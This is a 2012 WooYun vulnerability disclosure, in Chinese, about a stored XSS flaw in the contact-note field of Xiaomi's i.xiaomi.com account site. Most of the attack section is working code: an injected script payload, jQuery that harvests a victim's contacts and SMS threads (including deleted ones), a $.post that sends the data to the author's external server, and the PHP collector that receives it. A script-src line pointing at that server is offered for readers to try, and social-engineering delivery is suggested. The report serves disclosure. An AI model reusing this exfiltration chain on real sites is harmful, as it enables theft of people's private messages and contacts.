当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-09688

漏洞标题:通过小米账户XSS窃取超私密资料,危害严重

相关厂商:小米科技

漏洞作者: Cp0204

提交时间:2012-07-15 21:02

修复时间:2012-08-29 21:02

公开时间:2012-08-29 21:02

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-15: 细节已通知厂商并且等待厂商处理中
2012-07-16: 厂商已经确认,细节仅向厂商公开
2012-07-26: 细节向核心白帽子及相关领域专家公开
2012-08-05: 细节向普通白帽子公开
2012-08-15: 细节向实习白帽子公开
2012-08-29: 细节向公众公开

简要描述:

通过小米账户XSS窃取用户超敏感信息

详细说明:

现在不是很流行一种功能叫摇摇手机分享联系人吗?故事从这里开始;
情景假设:
A:嘿,MAN,你也用小米手机?
B:当然了,小米手机杠杠的!
A:我最近拿到了XX门主角的电话哦!看在朋友的份上…不过要到同步到电脑登陆i.xiaomi.com才能看到号码。
B:好的!好的!
于是,过后B屁颠屁颠的登陆i.xiaomi.com去看,结果什么也没有。与此同时,A在电脑的另一端收集到了B的小米账户名!手机联系人!手机短信!
下面开正题,登陆小米账户,在右侧会显示联系人的详细资料,如图:

可以看到是直接显示出来,而且对电话、邮件的格式没有进行过滤。
为了保险,我们选一个能写大量字符的地方,没错,那就是备注!

<Iframe src="http://www.baidu.com"></iframe> 
<script>alert(/xss by cp0204/);</script>

写入成功!


谁说XSS价值不大,其实看你怎么利用罢了。试过抓包,但小米账户是https,抓包很困难,用浏览器就分析

继续深入

都抓出来,分别对应3个栏目,现在我们想办法收集这些数据
可以看到它是这样的,其中37009121是我的小米ID,后面跟的参数不知道什么,不管有用没用,但都可以通过JS取到

https://i.xiaomi.com/contacts/37009121/full?_dc=1342331522472&syncTag=0&limit=500

返回:

{"result":"ok","description":"成功","data":{"content":{"9204442":{"content":{"id":9204442,"status":"custom","tag":10327278,"organizations":[{"title":"领导","company":"有关部门"}],"emails":[{"value":"Cp0204@qq.com","type":"home"}],"phoneNumbers":[{"value":"123456","type":"mobile"}],"displayName":"有关部门","note":"<Iframe src=\"http://www.baidu.com\"><\/iframe> \n<script>alert(/xss by cp0204/);<\/script>"},"spinyin":"ygbm","type":"contact","pinyin":"youguanbumen"}},"lastPage":true,"letterIndex":{"Y":[9204442]},"group":[],"syncTag":10327278},"code":0}


网站已引入了jquery,那我就方便多了,写js获取数据

//取联系人
result1 = getdata("/contacts/"+mid+"/full?syncTag=0");
//取短信
result2 = getdata("/sms/"+mid+"/full/thread?syncTag=0&limit=20&_dc=1342338505981&readMode=older");//全部
result3 = getdata("/sms/"+mid+"/locked?syncTag=0&limit=20&_dc=1342338505981&readMode=older");//收藏
result4 = getdata("/sms/"+mid+"/deleted/thread??syncTag=0&limit=20&_dc=1342338505981&readMode=older");//已删除
function getdata(url) {
var data
$.ajax({
url: url,
async: false,
success: function(result){data = obj2str(result);},
});
return data;
}
…………

然后,收集

$.post("http://cptimer.sinaapp.com/mi/mi.php?mid="+mid+"&data="+data,{mid:mid,data:data}, function(result){
alert(result); //return mid data
});

顺便提一下,jq ajax是不可以跨域,但其实是可以提交,只是没有返回。所以这里post是可以的,mi.php

<?
$mid=$_REQUEST['mid'];
$data=$_REQUEST['data'];
echo "小米ID:".$_REQUEST["mid"]."\n账户数据:".$_REQUEST["data"];
?>


如此一来,联系人、短信全收集,什么门也出来了
有没有小白在备注里加上以下,做下试验,仅供学习…

<script src="http://cptimer.sinaapp.com/mi/mi.js"></script>


================== 最后总结 ===================
小白学习,大牛就见笑了。小小的XSS,也是大大的问题。很多人鄙视XSS,大概那些人只会弹个窗罢了。
还有就是加上社工,怎么传那个联系人给别人。
而且,有小米手机的可以测试一下通过短信箱能不能攻击,能的话就更简单了!发条xss短信,然后叫他上小米账户看…也是另外一个思路,没有小米手机测试不了。
窃取这些东西还是很有价值的,你试想一下,你的联系人、短信全部泄露…
特别一些重要人员,例如…有关部门的有关领导
呃…顺便说一句,我没有小米手机、没有小米手机、没有小米手机~

漏洞证明:


我没有小米手机、没有小米手机、没有小米手机~

修复方案:

你比我牛

版权声明:转载请注明来源 Cp0204@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2012-07-16 12:20

厂商回复:

感谢上报,核实中

最新状态:

暂无